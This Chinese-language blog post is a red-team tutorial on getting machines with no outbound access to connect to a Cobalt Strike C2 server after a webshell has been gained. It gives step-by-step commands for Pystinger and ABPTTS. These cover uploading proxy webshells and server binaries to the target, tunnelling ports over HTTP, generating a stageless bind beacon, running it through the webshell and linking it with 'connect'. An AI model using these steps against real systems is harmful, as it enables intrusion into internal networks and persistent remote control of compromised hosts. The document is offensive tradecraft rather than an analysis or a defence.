B1gd0g
文章16
标签12
分类2
针对不出网机器上线CS方式

针对不出网机器上线CS方式

在渗透测试中以及攻防演练中,经常会遇到有些目标只对外开放了http服务,由于路由设置或防火墙等原因,导致攻击者在拿下webshell后却不能通过反弹shell正常上线到攻击者的C2服务器上无法继续进一步对内网进行测试或者提权,在这种情况下,就需要通过一些姿势来达到上线到C2服务器的目的。

前言

在渗透测试中以及攻防演练中,经常会遇到有些目标只对外开放了http服务,由于路由设置或防火墙等原因,导致攻击者在拿下webshell后却不能通过反弹shell正常上线到攻击者的C2服务器上无法继续进一步对内网进行测试或者提权,在这种情况下,就需要通过一些姿势来达到上线到C2服务器的目的。

出网情况

机器有dns、icmp、tcp、http等可出网的通信协议,因此要测试出目标可以通过哪种协议对外通信,结合起来对目标综合测试。当确定目标多种通信方式都不可支持,只能思考是否能通过http端口来实现上线的目的。

利用Pystinger上线CS

毒刺(pystinger)是通过webshell实现内网SOCK4代理,端口映射的工具,可直接用于metasploit-framework,viper,cobalt strike上线,工具主体使用python开发,当前支持php,jsp(x),aspx三种代理脚本。

项目地址:https://github.com/FunnyWolf/pystinger

具体使用

工具内主要有server服务端、client客户端与webshell文件三部分组成。

image-20221017152143038

将jsp脚本文件和stinger_server.exe两个文件上传到目标机器中。然后访问proxy.jsp,访问出现UTF-8则表示脚本正常,如果报错可能是上传时传输出现问题,可重新上传。

image-20221017151858282

然后在目标上运行工具服务端

1
start stinger_server.exe 0.0.0.0

image-20221017152339999

在C2服务器上运行工具客户端stinger_client,-w参数为目标url,-l参数为自身ip,一般为127.0.0.1,-p参数为目标webshell流量转发到C2的端口号

1
2
stinger_client.exe -w http://webshell.com/proxy.jsp -l 127.0.0.1 -p 60000
./stinger_client -w http://webshell.com/proxy.jsp -l 127.0.0.1 -p 60000

image-20221017153332957

C2服务器新建HTTP监听,host为127.0.0.1,port为默认的60020。(如果要上线内网多台主机则将hosts设置为不出网的目标机器内网ip或者0.0.0.0即可)

image-20221017153616454

通过此类设置监听生成exe等,在目标机器上运行即可成功上线,查看client端可以看到服务端传递流量的一个情况,该机器提权也可以使用该监听回弹shell。(stinger_client端可查看传输过程流量)

image-20221017153716672

通过ABPTTS正向连接上线cs

建立HTTP隧道

ABPTTS通过 HTTP/HTTPS 连接将 TCP 流量传输到 Web 应用程序服务器。换句话说,在任何可以部署 Web shell 的地方,现在都应该能够建立完整的 TCP 隧道。这允许通过 Web 应用程序服务器建立 RDP、交互式 SSH、Meterpreter 和其他连接。

该通信被设计为完全符合 HTTP 标准,这意味着除了通过目标 Web 应用程序服务器建立隧道外它还可用于通过数据包检查防火墙建立出站连接。

项目地址:https://github.com/nccgroup/ABPTTS

依赖环境及模块:(以及可能遇到的环境报错问题)

1
2
3
默认python2环境
pip install httplib2
pip install pycrypto

image-20221017163641939

1
python abpttsfactory.py -o server		#生成服务端webshell

image-20221017163055355

上传abptts.jsp文件到目标服务器,访问得到一串密文,说明脚本文件服务正常运行(此工具比较遗憾的是支持的web脚本类型只有aspx和jsp)

image-20221017163214049

客户端适用命令,将本机的5555端口通过http隧道映射至6666端口

1
python abpttsclient.py -c server/config.txt -u "http://webshell.com/ABPTTS.jsp" -f 127.0.0.1:5555/127.0.0.1:6666

image-20221017164016028

通过HTTP隧道正向连接

设置第一个监听 :CS中新建监听,监听端口上线端口均为6666

image-20221017171858737

把生成的exe在起客户端的机器上执行(就是让自己起客户端监听的机器上线,就是自己的虚拟机),返回虚拟机shell)

设置第二个监听

image-20221017180616153

通过该监听生成正向载荷(在生成正向载荷的时候只能选择stageless Beacon )

image-20221017181411396

将生成的子beacon通过webshell上传至目标机器上执行,并确保exe已经在运行状态

1
2
netstat -ano
tasklist

上述步骤/exe正常运行下,虚拟机beacon中执行以下命令即可成功上线目标机器。

1
connect 127.0.0.1 5555		#在虚拟机shell上执行,目标成功上线(一次不行的话重启下服务端再试试)

image-20221018172943003

×